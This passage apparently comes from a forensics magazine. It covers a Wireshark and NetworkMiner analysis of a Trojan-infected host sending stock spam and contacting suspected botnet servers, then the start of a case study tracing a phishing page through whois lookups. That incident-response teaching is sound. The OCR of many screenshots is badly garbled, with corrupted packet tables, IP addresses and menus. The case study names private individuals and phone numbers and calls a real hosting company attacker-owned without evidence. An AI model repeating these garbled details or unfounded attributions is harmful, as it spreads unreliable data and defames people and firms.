ers because the sender is delivering SPAM or the sender is included in a blacklist for the same reason.

We can see if some SMTP refused the emails with this command:

“smtp contains spam”

smikp conkains spam ~ | Expression... Clear Save

Saurce Destination “ Protocol  Length  Info

11925

.B377670 635. 55, :?.88
E

: 550 1 “ 1n zen. 4pamhau* org i Access Denicd)
550 "JunkMail rejected - i
554 5.7.1 The message from (<freddy.dardenne@stroudenginee

220 payQ- mr:L F33 Bayo hotmaﬂ com Send'mg unsn'hr-'lted comm

022 84.4169570 67. 210. 98. 220 '192.'
109 84. 7734010 206.188.195. 64 192,
QldlB?D h5.54.188 ?2 162

i 15
661 90,898648065.54.185.126 192.168.78.132 SMTP
676G 90,.9951450 65, 54.188.126 192.1608.78.132 SMTP
812 01. 0286800 84.136.52.37 102.168.78.132 SMTP
935 93.0651000 206,188.198.64 192.168,78.132 sMiP

220 BAYQ-MC4 - F36 Bayo hotmail.com Sencl‘ing unsolicited comm
220 BATO-MC4-Fl4.Bay0. ho e er——re

550 1r I | zon. spamhaus org Mc:ess Denied
554 5.7.1 The message fr

Figure 20. SMTP connections denied

If we see the payload of some connections, we can see that Mircrosoft is rejecting these emails be-
cause they have the knowledge that these mails are Spam. See Figure 21 below.

computer network is prohibited. other restrictions are found at http://privacy. microsoft. com/an-us anti-spam. mspx.

'osoft’s computer network is prohibited. other restrictions are found at http://privacy.microsoft. comsen-us/anti-spa

Figure 21. Payload with details of connections refused

We saw next Snort Event “ET SMTP Abuseat.org Block Message (Not Suspicious Traffic)” This event
means some SMTP servers have rejected the email because the sender IP is blacklisted. Also, the pay-
load contains a link that redirects us to http://cbl.abuseat.org and it will give us more information about
the problem. We can use a similar filter in order to search these events in the capture data file on Wire-
shark with the command below:

“smtp contains Abuseat”

Filker: | smtp contains abuseat ~ | Expression.,, Clear £ Save
o, Time Source Destination Protocod  Length  /Info
G128 841.0500670 66.80.60.20 102.168. 78,132 SMTP 226 5: SO mpatel@magapathdsl.net your host [N

[, 736 hyres caprured C1RSR hirs) nn inrarface 0

|56:ed:59:1e), Dst: vmware_e0:7l:ch (00:0c:2%9:e0:71:ch)

lo.z20 (66.80.60.20), Dst: 192.168.78.122 (102.168.73.122)

smtp (25), Dst Port: facilitywiew (1561), Seqg: 223, ack: 142, Len: 182

|lur host [—128]"15 blacklisted by chl.abuseat.org. Blocked - see http://chl.abuseat.org/]ookup. cq"l?ir.l

Figure 22. Connection details from abuseat.org

We are going to continue looking for more SMPT packets to get more information... But it seems clear
that the goal of the attack is to send Spam and it was successful.

Now, we want to know the body of the Spam which has been sent.
One of the best options of Wireshark is the “Follow TCP” option. It is very helpful to see the payload

with TCP stream in the way that the application layer sees it. With this option we can see the body of the
Spam that our network user is delivering.
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You can use this option by right clicking on a line selecting “Follow TCP Stream”. See Figure 23.

TCP RETransmission)

Mark Packet (toggle)

SMTP 163 5@ 220 mtald.srv.hawlny. cv.l L ! g
SMTP 93 C: MAIL FROM:<jerkins@maill Ineke PackstLongle)

SMTR 214 S: 554 imtaz3. Fiestapag - et Time Reference (toggle) ]
SMTR 121 5: 220 m‘ta1012 "r'og maﬂ bf1 -:'3; Time Shift...

i Packet Comment... I

Manually Resolve Address

Apply as Filker 4 1
Prepare a Filker 4 I
= - = Conversation Filker HE
ytes captured (712 bits) on interface O "

Colorize C Jul
d:59:1el, Dst: vmware_el:7l:ch (00:0cC:29: D?Ee pht

26 (173.194.67.267, Dst: 152.168.78.132
(257, Dst POrt: peport (14487, seq: 52,

Copy »
Lmber
ence number)] Prokocol Preferences 4
number) 3% Decode As...
=, Print...

Show Packet in Mew Window

Figure 23. Follow TCP Stream option

And then, we can see the body of the Spam. Have an eye to Figure 21 and Figure 22.

. [0

e e M e T T e - i

354 o ahead 1si171l07240wliv.66 - gsmtp
received: from unknown (HELO wZ7rral) (R 153] )
Loy 128, red W . customer. static. cogg. (R +ith CSMTR; Thu, 18 Apr
2013 10:38:23 +0100
Message-ID: <002701lce3c0rfadcBOL3089ad6a2cl@hanz0785663balw7rrals
From: “Lucy vates” =zjenkins@maill.stofanet.dk>
|To: <jmlee3258gmail. com:
|Subject: New sub Penny Alert Coming Soon
Date; Thu, 18 Apr 2013 10:30:12 +0100
MIME-version: 1.0
Content-Type: text/p'lam:
. format=fowed
. charset="4s0-i 8859—2";
.r'emy—t\;pe:clr‘lqma'l
cnntent-Transfer-Fncnding: 7hit
®-Priority: 3
*-m=mail-rriority: mormal
%-Mailar: Microsaft outlonk Express 6.00.2R800.1106
3-MimcOLE: Produced By Microsoft MimeoLE vé. 00. 2800.1106

welcome announcement tor P W E I watchers. Buy thousands of P W E I
|stock offered at the morning, since it's still bargained. Then see the
|pps spike to 35 cents - or maybe hit a 1! Prepare to make a fortune on
IP_w_E I starting Thursday. Apr 1B.

1250 2.0.0 0K 136062/4113 jlsi/107240wiv.00 - gsmtp
QuIT
1221 2.0.0 closing connection jlsi7107240wiv.66 - gsmtp

|Entire corversation {1392 bytes) ~
[ end J[ savess [ pit O ascn O EBCDIC O Hex Dump O € Arrays ® Raw
Help [ Fiker Ouk This Stream ] [ Cose

Figure 24. TCP Stream details

|welcome announcement for P_wW_E I watchers. Buy thousands of P_w_E I
[stock offered at the morning, since it's still bargained. Then see the
ipps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on
[P_W_E I starting Thursday, apr 18,

Figure 25. Body of the mail delivered

As you can see, this option is really interesting.
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Also, we have a suspicion that our computer is included as node in a Botnet.

Remember we saw the event below in the IDS alerts:

ET CURRENT EVENTS Suspicious double HTTP Header possible botnet CnC (A Network Trojan was Detected)

At the bottom of the traffic capture we can see a lot of requests like that: “GET /PXFAHN”

Filter: | http

o,

9251
G254
9282
G283
G284
D285
G287
0347
93409
G351
9354
G784
=]
9788
9790
10097
10098
10095
10300

Time
85,
B5.
6.
8a.
Ba.
86,
Ba.
6.
86,
Ba.
Ba.
ol.
ol.
ol.
ol.
Q7.
7.
o7.
o7,

Source

DE63640 192,
S5¥1400 152,
0427940192,
0428770152,
0430570152,
0452050192,
0433130152,
OF27F120192.
9750470192,
GF33140152.
9736370192,
7206790152,
F225880 1092,
7244750192,
F257210152.
4015220192,
4016850152,
4018040152,
4019140192,

168.
1a8.
168.
168.
1a68.
168.
1a8.
168.
1a8.
1a68.
168.
168.
168.
1a8.
168.
168.
168.
168.
168.

78,
7.
78,
78,
T
78,
7.
FH.
78,
T
78,
78,
FH.
78,
78,
78,
78,
o
78,

132
132
132
132
132
132
132
132
132
132
132
132
132
132
132
132
132
132
132

Destination

coalt o e DR e Bl
Colb e o L Bl

80
=1y

50.
50.
50,
50,
50,
186, 2.
188, 2.
1346, 2.
188, 2.
50,
50.
50,
50,
50.
50,
50,
50.

B2
2.
2.
2.
2.

2.
B2
2.
2.
2.
2.
B2,
2.

238,
238,
238,
238,
238,
166,
168,
166,
166,
238,
238,
238,
238,
238,
238,
238,
238,

103
103
103
103
103
58

55

5G

55

103
103
103
103
103
103
103
103

» | Expression...
Protocol  'Length  'Info
HTTP 227 GET
HTTP 227 GET
HTTPF 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET
HTTPF 227 GET
HTTP 227 GET
HTTP 227 GET
HTTP 227 GET

Figure 26. Connections suspicious to some possible C&C servers

Clear

SPHFAHM
SPREFAHM
S PHEAHN
SPRFAHM
SPREAHM
SPHFAHM
SPREFAHM
SPHEAHN
SPRFAHM
SPREAHM
APHFAHM
SPRFAHM
SPEEAHN
SPRFAHM
SPRFAHM
SPHFAHN
SPRFAHM
SPREAHM
SPRFAHM

Save

HTTR/1.
HTTR/1.
HTTP1.
HTTR/1.
HTTR/1.
HTTR/1.
HTTR/1.
HTTP/1.
HTTR/1.
HTTR/1.
HTTR/1.
HTTR/1.
HTTP/1.
HTTR/1.
HTTR/1.
HTTR1.
HTTR/1.
HTTR/1.
HTTR/1.

R I S S =

It seems the host infected currently is a “Zombie” in a Botnet. The computer is connecting to sever-
al web servers using the IP addresses instead of the domain name and always to the same URL path
(PXFHN). In the traffic capture we can’t detect anything about the payload of the Command and Control
connections... The nodes of the Command and Control servers could be down.

Accept :
Accept
Accept

Accept:

Stream Content
GFT /PXFAHN HTTR/1.1
User-Agent: Mozillas5.0 (windows;
Firefoxs3.6.17

W S

u

w/u

w

GFT /PXFAHN HTTR/1.1
User-Agent: Mozillas5.0 (windows;
Firefox/3.6

W

<17

GFT /PXFAHN HTTE/1.1
User-Agent: Mozilla/s5.0 (windows;
Firefox/3.6.17

GFT /PXFAHN HTTR/1.1
uUser—Agent: Mozillas5.0 (windows;
Firefox/3.6.17

Entire conversation (692 bytes)

[ End

I

savess | pint

Help

Accept -Encoding: gzip, deflate

accept -Cncoding: gzip, deflate

accept-Encoding: gzip, deflate

accept-Encoding: gzip, deflate

u:

wWindows

U; windows

u:

windows

U; windows

| © ascn

NT

NT

() EBCDIC

5.1; es

L B

e5-ES;

i i

E5-ES;

5.1; es-ES;

PR b

rvil.

{ph b

[t ih e

C‘. He:e Dump

I Filter Qut This Stream l |

i )

.2.47)

.2.17)

207

'D' 2 Arrays

- [o)|

Gocko/20110420

Gocko/20110420

Gecko/20110420

Gecko/20110420

@ Raw

Close

Figure 27. Follow TCP stream details about possible C&C server connection
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HOW TO CREATE A MAP REPORTS WITH WIRESHARK
Sometimes, it’s really interesting to know how to create a report drawing the connections in an incident
handling on a map. Wireshark offers us this option.

Now, I'm going to show you how to configure this option.

 First of all you need to download the GeolP databases: GeolLite City, Country, and ASNum from the
lik below: http:/geolite.maxmind.com/download/geoip/database/ (free download)

* You need to put all of the databases in the same directory. You must tell Wireshark where the data-
bases are. You need to go to Edit -> Preferences -> Name Resolution and select GeolP database
directories. See Figure 28 below.

i GeolP Database Paths - Profile: Default e — : =HECIE| X

path

C\Users\sclemens\Downloads

Figure 28. GeolP Databae Paths

* Restart Wireshark.

» Load the pcap file again and select Statistics —> Endpoint and click on Map. In this example, | want
to show you where the spam has been sent printing the connections on a map. You notice in the pic-
ture below that I've created a SMTP filter and | have selected “Limit to display filter.”

=]
~

H Apply ][ Cancel

= —— Sy

Fier: | smtp ¥ | bxpression.., Clear Save

e Fthernet: 7 IPvdi 91 . TCP: 2A3

334 IPw4 Endpaints - Filber: smtp
334 Address 4 Packets 1 Bytes ¥ TxPackets ¥ TxBytes ¥ RxPackets ¥ RxBytes 1 Counkry 1 AS Number A ICity
336 65.55.37.66 54 47T 36 5271 18 4 206 Uriked States #55075 Microsoft Corp Redr
3381 | 192.168.76.132 1860 278412 616 125743 1264 149669 - - -
3428 | 1731946726 106 15332 70 6903 k] ©429 United States #515169 Google Inc. Mour
343 b8.87.26.147 21 4 240 20 4 28U u U Urited States #5742 Comcask Cable Commurscations, Lnc. -
146 Y, 136.216.5 4 b /it au 264U 17 4146 Uried States #53664 7 rahoo Sune
347 66.196.118..53 44 b /6 k74 ZFZ 17 4104 Uried States #526101 Yahoo! Sune
347 196, 2103.1/4.9 1 i) 1 [ u U Urited btates #51U6/9 Unitedhealthcare Plym
3484 | 167.206.4.59 4 Ybb s B/3 3 293 Uned States #9612 Cablevision Systems Lorp. Hicks
250 YH. 134714154 1A Z3m m N L 1410 [iraed Srares a=AR1N Yahont e
f5.55.92. 168 St f 704 k<] 4504 18 4700 lirited States ASANTS Microsnkt Corm Rerdr
351 A5.54. 188,176 43 A 944 7R 3IR43 15 3101 Uribed States ASANTS Microsnkt Coep Rerr Ma
351 £id.736.R4 776 n 1210 7 al 3 799 linited States 451RAR A0 Transk Data Nehanrk -
[ 171.159.137.178 q 1179 [ 79 3 3NN inided Stabes 45101784 Rank o Armesica e e
LEE 209.85.93.220 69 10110 45 6124 24 3986 Uniked States 4519029 Mews Edge Nebworks - ==
® Frdm 209.181.247.105 16 2103 10 678 [ 1425 United States 45209 NOYARTIS-DMZ-LIS Elkp ¥
® Ethe >
= Intg
vl [[] Mame resnlution Limit bn display Filker
Hes
o] T JCew ]
1o
LdenTiTication: Uxios7 (G3063)

Figure 29. Details to create map

* Then click on the map button. Now, we can see on the map the connections with the SMTP servers
by the Trojan when it was sending SPAM. See Figure 30.

® e


http://geolite.maxmind.com/download/geoip/database/

111111111777

Figure 30. Map with the SMTP connections to send SPAM

INSPECT THE PCAP FILE WITH NETWORKMINER
NetworkMiner is a Network Forensic Analysis Tool for Windows. It could be run on Linux, MAC OS X or
FREEBSD but the mono’s help is necessary. (http://www.mono-project.com/Main_Page) It has fewer op-
tions than Wireshark but its GUI is really user-friendly.

| am going to load the pcap file in this software and | am going to show you some things that could help us.

In the “host” tab we can see all hosts that have been involved in the incident as you can see in Figure 31.

ENEMrI{Miner 1.5

| --- Select a network. adapter in the list -

Hosts [331] |Frames [1 0] || Filez [33] || Imagesz [3) || tMessages [82) || Credentials [3]|

Sort Hozts On: | IP Address [azcending)

Elil 4221

L-T—.Iﬁ‘ 5.106.75.42 [5.105.75.42] [wWindows)
Wl 8544

Wl 8888

EI 12102, 252,75 [aln-mailrelay. att.net]
L-T-_| 24217 2916 [mail. chartercom. com]
L-T—.I 32971100158 [e37 . couzibm.com]
EI 3870222822 [ltermail22. bighoot. net]
L-T-.I 38.113.116.194 [p.nzm.ctmaill. com)
EI 9 46119.212.23 [windows)
L-T-.I
L-T-.I
L-T-.I
L-T-.I

-8 80.62.232.103 Mwindows)]
B3.236.74. 20 [mailpro.ureach. com)
B BA.3 7115 [ fuse net] [windows)
E4.8.71.23 [mx.armstrong. spnacor. com]
EI ﬂ‘ £4.12.90.7 [mailin-01.mex. aol. com] [wfindows)
L-T-_Iﬂ!‘ B4.12.90.34 [mailin-04. re. aol. com] Pafindowsz)

" Cd A7 00 CF Temmilin T mens sl mmen 1

Figure 31. Hosts involved in the incident

In the “files” tab, we can see all files have been downloaded while the live capture was running and
where they were downloaded. See Figure 32.
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the lizt -

éil, Parameters (1937) | Keywords | Cleartest | Anomalies|

Qurc...

73194
73.1594...
731594
73194
73194
73194
73194
73194
73194
73194
73.1594...
73194
|21

73194

S. port
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80
TCF 80

Destin...

192168,
192.168...
192.168...
192168
192168,
192168
192168
192168
192168,
192168,
192.168...
192.168...
192168
192168

Pratacal
HttplGet...
HitpGet...
HitpGet..
HitplGet...
HitplGet...
HitplGet...
HttplGet...
HitplGet...
HitplGet...
HttplGet...
HitpGet...
HitplGet...
HitpGet..
HitplGet...

0. port

TCP 1245
TCP 1242
TCP 1244
TCP124E
TCP 1242
TCP 1244
TCP 1247
TCP 1242
TCP 1244
TCP 1242
TCP 1247
TCP 1247
TCP 1248
TCP 1243

Filename Extens... Size Timest..
E.ipg ipa 2508 18/04/..
5. E7C227Ch s0n json 1820B 18/047.
search, BC74640E json  json 10928 18/04/..
checkmark2 png phg 186E 18/04/.
data=tyEGWEBech_..  gif 3E526E 18/04/.
2. 77AD4BDC json jzan 1830B 18/04/.
search.D338631C jzon  jzon 11018 18/04/..
re=AltRSTPIGeSMML..  javazcript 174B  18/04/..
+.B8248051 jzon jzon JEE1E  18/04/.
search. 7EBDEETE json  jzon 23508 18/04/..
data=DkDO_jloleMyd...  javascript J0EE 18704/
red_pins2.png phg 13848 18/04/..
bastan. html html S10B 18/04/.
HakxEqbgeMa.htral hitrnl 54728 18/04/.

Figure 32. Files downloaded in the incident

Detailz

news. google. es/news tbn/YER CCwaeluld /6.jpg
v, google.es/s ?hi=estas_m=9%gs_ri=psy-ab...
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Be careful, because NetworkMinner downloads all files to your hard drive and it reproduces all traffic
in the pcap. For example, we can see the webpage where the host was infected by right clicking on the
link. See Figure 33 below.
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Figure 33. Infected HTML page download from the original web site

This tool downloads all files involved in the traffic capture including the malware and the exploits. | rec-
ommend you to run this program in a secure environment like a Virtual Machine.

Also, it downloads all images that have been seen. See Figure 34 below.
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Figure 34. Pictures downloaded thanks to NetworkMinner
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Also, we can see all the emails that have been sent easier than Wireshark.

We can see From, To and the body details of the emails. See Figure 35.
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Figure 35. Details about the Spam delivered
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In my opinion it’s really important to have a good network capture policy in an organization. In this article,
we have seen how a single user of our network was searching and watching videos about the Boston
Marathon bombs. In one of these searches the user visited a dangerous website which took an advan-
tage of a vulnerability of its computer with CVE-2012-1723 using the exploit vz7.jar. Thanks to this ex-
ploit, a Trojan horse named newbos3.exe was downloaded and installed with the lack of user knowledge.
We have seen that the Trojan horse began to send Spam and the public IP of the organization was in-
cluded in a blacklist. The company could have problems with their corporate email servers if the server
shares the public IP with the rest of the computers in the network. If this happen, the emails sent by the
workers in the company would be denied by the Anti Spam systems.

Also, we have serious suspicion that the computer was a node of a Botnet but we are not sure at all
because we have no evidences...

Thanks to a good data capture we can learn a lot about an incident. If you want to know more about
malware, it would be necessary to study the Trojan doing malware reversing. Maybe in my next article |
will talk about it.
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CASE STUDY

INVESTIGAING A
NIGERIAN WEBMAIL
AND E-BANKING

PHISHING ATTACK
by Gilad Ofir & Dvir Levi

In today’s world, as we all use email for practically everything,
from talking to friends, colleagues, bosses, business partners, etc.
However, like every good thing, it can be abused by spammers
and hackers, and infect is.

Since we all use it, it's important to understand the security issue
that rises when ones e-mail is targeted for spamming.

. Szli,?;ﬂ;::;fs ke plain. but ac- plain what phishing is: Basically, phishing is a process that tries to
+ How to identify a phishing attempt. =) mimic a \(alld request/wgbsne/appl|cat|0(1, mostly using an.elaporate
« Steps in the investigation to find login page, but instead of sending the information to a valid location, it per-

form a malicious activity, such as sending the credentials (username and

B efore we describe the phishing attempt that was made, let’s first ex-

the culprit.

- Afew ways for a spammer to hide | password) to an attacker to be used later for other attacks, or infecting the
himself. victim with a malware, Trojan or a virus.

» How to pinpoint an estimated loca-
tion of the threat. THE SUSPICIOUS MAIL

First there was a suspicious mail, from an unknown origin with the title “Con-
firm Payment” with an attachment supposedly some sort of a receipt.

POINT 1 - RECEIVING A SUSPICIOUS E-MAIL
The receipt was suspicious because it appeared separated from the mail it-
self and no recent purchase were made.
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Figure 1. Suspicious mail

BEHIND THE PHISHING PAGE

C' | & https://mail-attachment.googleusercontent.com/attachment/u/0/7ui=2&ik=c7aec3be
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Figure 2. Looking behind a phising page with f12
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The email was fake, and possibly contained a virus or some sort of cookie theft upon download, so
clicking “view” launches the content on a different session, with a different session cookie that if were to
be stolen, provides nothing for the benefit of the attacker.

As we can see, the login page is fake, but looks like the original (even though it was modified by the
browser), this is the classic phishing because it mimics the original page perfectly.

POINT 2 - FAKE E-MAIL AND FAKE LOGIN PAGE.

VIEW SOURCE
Upon examining the content of the webpage (by pressing F12 on the keyboard), we saw that the “form
action” tag, point to a different location (which is not Gmail).

= HexzPaxz 000 0086 O1C2NSRE.E7BEEDAC

Figure 3. Viewing the source to find leads

GETTING TO THE BOTTOM OF THE ATTACK
Now, after we know that there was a phishing attempt, let's describe how we get to the bottom of the at-
tack and how we find the attacker.

After clicking “view source” on a Gmail web-mail page, we get full, non-editable and detailed informa-
tion regarding the message, its origin, and any other messages in the conversation.

So, after finding the “Received: From” line, we found an IP/Address that we suspected to affiliated with
the attacker.

POINT 3 - DETECTING IP/ADDRESS OF A POSSIBLE LEAD
The next step would be to gather as much information as possible and investigate the source to try and
learn from it.

WHOIS ARCDEBK.COM
Searching the address from the “form action” section on whois.net shows more information the owner of
the domain.

® @
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POINT 4 - INVESTIGATING THE URL OF “FORM ACTION” IN THE FAKE LOGIN PAGE

WHOIS information for arcadebk.com:***

Similar Domains  see more domans

Premium Domains ** see mare damans

Figure 4. Whois on arcdebk.com

Now we found another e-mail address, possibly giving more information.

The following might also be a phishing page.

= c mailitarymailz.com

Qops! Google Chrome could not find

mailitarymailz.com

Figure 5. Trying to access a nonresponsive webpage

GOOGING AND WHOIS ON MAILLITARYMAILZ.COM
We now try to Google it and whois to find more information:

www.eForensicsMag.com @ @
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Web

Images Maps Shopping More ~ Search tools

barclaybk.com Domain Name Record - BulkRegister
www_bulkregister.com/whois/barclaybk-com.html ~

Administrative: Lachner. Lindsey info@mailitarymailz.com 2716 Erickson Ave Webster
City, 1A 50595. US 7756223201x1234 Fax: 7756223201x1234. Technical ...

Results for barclaysbonline.com - Domain Test - Who is the owner o...
mydomaintest.com/?query=barclaysbonline.com ~

owner-email: info@mailitarymailz.com admin-organization: admin-name: Michael
McNown admin-street: po box 2450 admin-city: mesilla park admin-state:

mailitarymailz.biz - Domain name and website info ... - Domains by. ..
domains-by-day.com/201 3.../mallltarymallz.biz-domain-name-data.html ~

Jan 15, 2013 - mailitarymailz biz - domain name information. Geographic data - United
States, , Los Angeles.

mailitarymailz.biz - Website and Domain information data - WSDat...
wsdata.com/2013-01-15/mailitarymailz.biz-domain-information.html| ~

Jan 15, 2013 - Useful tools. Chlooe.com : click here to generate and view free SEO report
about mailitarymailz_biz - Check if mailitarymailz biz is a safe site or ...

mailitarymailz.biz is available now!
hostye com/d/mailitarymailz biz/ ~

Congratulatinns! mailitarymailz hiz is available now, Snap it up before somenne else
does. Godaddy special offer only $7.99! Namecheap ...

RESTful Whois - national-groups.info

www _restfulwhois.com/vi/national-groups.info ™

Feb 7, 2013 - {"_id""national-groups.info","admin":{"address":"39 Belvidere
Road","city":"Glcn Rock”,"country":"US" "cmail":"info@mailitarymailz.com" ...

royalbsonline.com
royalbsonline.com.ip4.bz/ ~

Dec 2, 2012 - ... in"@mailitarymailz.com admin-c-firstname: Austin admin-c-lastname:
Morledge admin-c-street1 73 Argyle street admin-c-pcode: CB1 3LS ...

Figure 6. Googleing a possible lead

Result Summary Record:

mailitarymailz.com

5 Graph Shared Whois Bl Analysis
Lucky

Contact

Search | GOOZIE™ Custom Search R T &+ Follow i Twest 2533

ﬁ Share 76

Bluke 33k
Registrant:

Richard Vagus

Richard Vague, vl.inmns:@

1807 Delancey Place

19103 Philadelphia PA

us

+41.435001114

Bdministrative Contact:

Richard Vague

Richard Vague, vl.internic@iway.ch
1807 Delancey Flace

19103 Philadelphia PR

us

+41.435001114

Technical Contact:

iWay AG

Matthiaa Oawald, vi.internle@jiyavy,ch
Badenerstrasse 369

8048 Ztrich ZH

CH

+41.435001111

Registrar of Record:

Record last updated on 2012-11-21 10:
Record expires on 2014-01-1% 21:04:01.0
Rassrd Craatad on 2012-01-19 21: 04:01.0

CADiware AG
45:15.0

Figure 7. Whois a lead
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POINT 5 - GETTING INFORMATION
ABOUT THE POSSIBLE OWNER OF THE “MALITARYMAILZ.COM”

IWAY.CH - ANOTHER IMPORTANT LEAD

The previous page gave us more information and showed that the attacker is actually under another do-
main (iway.ch) thus making the first domain as fake.

nnnnnn

DRI4ET i

Figure 8. Whois iway.ch

The next step would be to verify that the information is authentic.

POINT 6 - GETTING INFORMATION ON THE DOMAIN WE FOUND WHILE SEARCHING
“MALITARYMAILZ.COM” ON WHOIS - IWAY.CH

OSWALD MATTHIAS
If we look close at both results, we can see that both of the domains have the same holder of the domain
“Oswald Matthias”, giving us valuable information.

Even though we have a name, we still need to investigate whether it's an alias or a fake name.

After crossing information we see that the name is a fake because in a fast search we see that it's a
name of someone a famous Swiss/German, a well-known name to someone that might be from Switzer-
land or Germany, who is not even related to the matter (an architect), from another country (mismatching
with the origin of the IP/Address)

Just to make sure, we’ve searched the name on Facebook and Wikipedia and we noticed that unlike

Wikipedia, on Facebook the name is written with a single ‘s’ and the facebook profile is unrelated to the
Wikipedia page:

www.eForensicsMag.com € »
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Matthias Oswald

Timefine About Photos Friends Maore =

Do you know Matthiasy

To see what he shares with friends, send him a friend request. m

71 Photos

Matthlas's Photos  Albums

Figure 9. Matthias Oswald’s facebook page

- @ [ enwikipedia.orgwiki Oswald_hist ¢ 1 @ e =

Create account & Login
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A Article Talk Read Editsource Edit™# View history Search Q
W

ow
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Oswald Mathias Ungers

}hxf;[rﬁinpcglk?pzﬁ From Wikipedia, the free encyclopedia

Oswald Mathias Ungers (July 12, 1926 - September 30, 2007) was a German R
Main page architect and architectural theorist, known for his rationalist designs and the use of Oswald Mathias Ungers
Contents cubic forms. Among his notable projects are museumns in Frankfurt, Hamburg and Ll July 12, 1926
Featured content Cologne. Kaisersesch, Germany
Current events Died September 30, 2007 (aged 81)
Random article Contents [hide] Cologne, Germany
Daonate to Wikipedia 1 Biography Nationality German

2 Selected projects Buildings Messe-Torhaus, Frankfurt

w Interaction 3 Writings Wallraf-Richartz Museum, Cologne
Help
About Wikipedia
Community portal

Recent changes

4 External links

Biog raphy [ edit source | edit beta |

Contact page Oswald Mathias Ungers was born in Kaisersesch in the Eifel region. From 1847 to 1950 he studied architecture at the University of
» Toolbox Karlsruhe under Egon Eiermann. He set up an architectural practice in Cologne in 1950, and opened offices in Berlin in 1964,

Figure 10. Mathias Oswald'’s wiki page

POINT 7 - FALSE LEAD - MATTHIAS OSWALD IS NOT WHO WE'RE AFTER
Going Back one step — IWAY.CH

ACCEING IWAY.CH
After failing to authenticate the person, we point our attention to our discovered domain (iway.ch) and try
to access it:
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Figure 11. lway.ch cloud services, a classic hideout

We can see that it's a cloud-services company, and are known to be owned by attackers because it
provides an easy way to hide oneself, and upon an abuse the “company” can just close the user (and
then issue another one).

In extreme scenarios, this system is a classic technique for a nation to launch a cyber-attack on an-
other nation.

POINT 8 - CLOUD SERVICES’
A GOOD TECHNIQUE TO USE WHEN TRYING TO HIDE ONE’S IDENTITY

It's important to note that during forensic we always check every possible lead, whether it's a phone num-
ber, an address, a name, a domain, or anything else.

Now we go back to whois that was conducted against first domain.

FResult Summary Fecords Graph Shared Whois Blackists Analysis Contact

maiitarymaltz.com Lucky | [ Search | Googh Folow o Tweet 5505 [ snae 78 Bl Lice - 33k

1, vl.interniciway.ch
56

+41.433001111

Registrar of Record:
Record last updated on 2012-11-21 10:

Record expires on 2014-01-19 21:04:01.0
Reacord Created on 2012-01-19 21: 04:01.0

Jomain sarvers in 1isced order:

Figure 12. Whois on first lead revisited
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POINT 9 - WE GO BACK ONE STEP AGAIN TO OUR “MALITARYMAILZ.COM” WHO IS SEARCH
TO FIND MORE LEADS REGARDING THE PERSON BEHIND ALL THIS

A NEW LEAD - PHONE NUMBER
Since we came to a dead end when we searched for information about the user, we will now try to inves-
tigate about the phone number (+41.45001114).

< c 8 https://www.google.com/search?q=%2B41.435001114&0q=%2B41.425001114&aqs

+Rafel Search Images Maps Play YouTube HNews GCmail Drive Calendar More -

{=

GOQ nge +41.435001114

Web Images Maps Shopping More ~ Search tools

HealthPro-Sales.com - Health Pro Sales - Whois - DomainTools
whois.domaintools.com/healthpro-sales.com ~

Aug 10, 2012 - +41.435001114. Technical Contact: iWay AG Matthias Oswald,
Badenerstrasse 569 8048 Zurich ZH CH +41.435001111. Registrar of Record: ...

supportvpp-motorstransact.com - Whois Data - WhoisMind.com
www.whoismind.com/whois/supportvpp-motorstransact.com.html ~

Mar 11, 2013 - Administrative Contact: CRYSTAL BROOKS CRYSTAL BROOKS, emai
408 BRIARWOOD CIRCLE 24401 staunton VA US +41.435001114

Yasni.ae s iyl jeale jedd) o sl Diedes - Fouad Kahwagi
www yasni.ae/fouad+kahwagl/'check+people ~ Translate this page
whois_domaintools.com. Fouad Kahwagi. Main road n/a Beirut LB LB +41.435001114
Technical Contact: iway AG Matthias Oswald, Badenerstr. 569 804§ ...

In order to show you the most relevant results, we have omitted some
entries very similar to the 3 already displayed.

If you like, you can repealt the search with the omitted resuits
included.

Advanced search ~ SearchHelp  Send feedback

Google Home  Advertising Programs ~ Business Solutions  Privacy & Terms
About Google

Figure 13. Googling an important lead, a phonenumber

POINT 10 - WE SHOULD TRY NOT TO MISS OUT ON ANYTHING, A PHONE CAN PROVIDE
VALUABLE INFORMATION

FOUAD KAHWAGI

We now have a new name, “Fouad Kahwagi”, so we now have a new lead and we search by name for
further information:



= C [ www.yasni.ae/fouad+kahwagi/check+peaple

Business Profiles

@ Linkedin Fouad Kahwagi - | ebanon | | inkedin

Fouad Kahwagi's (1 ebanon) professional profile on Linkedin Linkedin is the worl s largest

husiness netwaork, helping professionals like Fonad Kahwagi

¢/ Fouad Kahwaqi. Fouad Kahwagi (Lebanon). see his profile on Viadeo
lpviadeo.com
Fouad Kahwagi, in Lebanon , Milliens of professionals like Fouad Kahwagi in Lebanen cealed 2
praalile an Viaden lo Boos! heir career opporunilies

Heritage

we Fouad Kahwagl 1 The Peerage
thepeerage.com
Fouad Kahwagl in July ...

Projects

i)

Matthias Oswald, Badenerstr. 569 8048 Zirich ZH ...

Related Documents (1-4fom 10 - showall

s Fouad Kahwagi's Documents on ShideShare

www slideshiare nel
Fouad Kahwagi.

Fouad Kahwagi's Presentations on SlideShare

www.slideshara.nat
Fomiard Kiahwigi

Fouad Kahwagi's Videos on SlideShare
wiww.clideshare. net

n R=Y =R R EHIRRE Technical Contact iway AG

Fouad Kahwagl. ... Fouad Kahwagl - Following Follow Procegzing... 0 SlidesShares - 5 Followers

Presentations - Documents - 0Vidaos .

Figure 14. Checking Fouad Kahwagi

I EI Fouad Kahwagi Q _ﬂ
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Figure 17. Fouad Kahwagi linkedin page

POINT 11- SEARCHING MULTIPLY SOCIAL NETWORKS CAN PROVIDE INFORMATION THAT
CAN HELP IN DETERMINING WHETHER WHAT WE FOUND IS TRUE OR FALSE

We also found another lead regarding another phone number that we found:

Daormain name: ARCADEBK.COM
Administrative Contact:
Lerner, Justin info@mailitarymailz. com
82 Mill Lane,
West Hampstead

London, MNWe 1ML
K
+44.01616246780

Figure 18. Focus on arcadebk.com information from whois
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POINT 12 - AS WE CAN SEE, WE ALWAYS NEED TO GO BACK AND FORTH IN OUR SEARCH, TO
GATHER MORE EVIDENCE AND FIND MORE LEADS

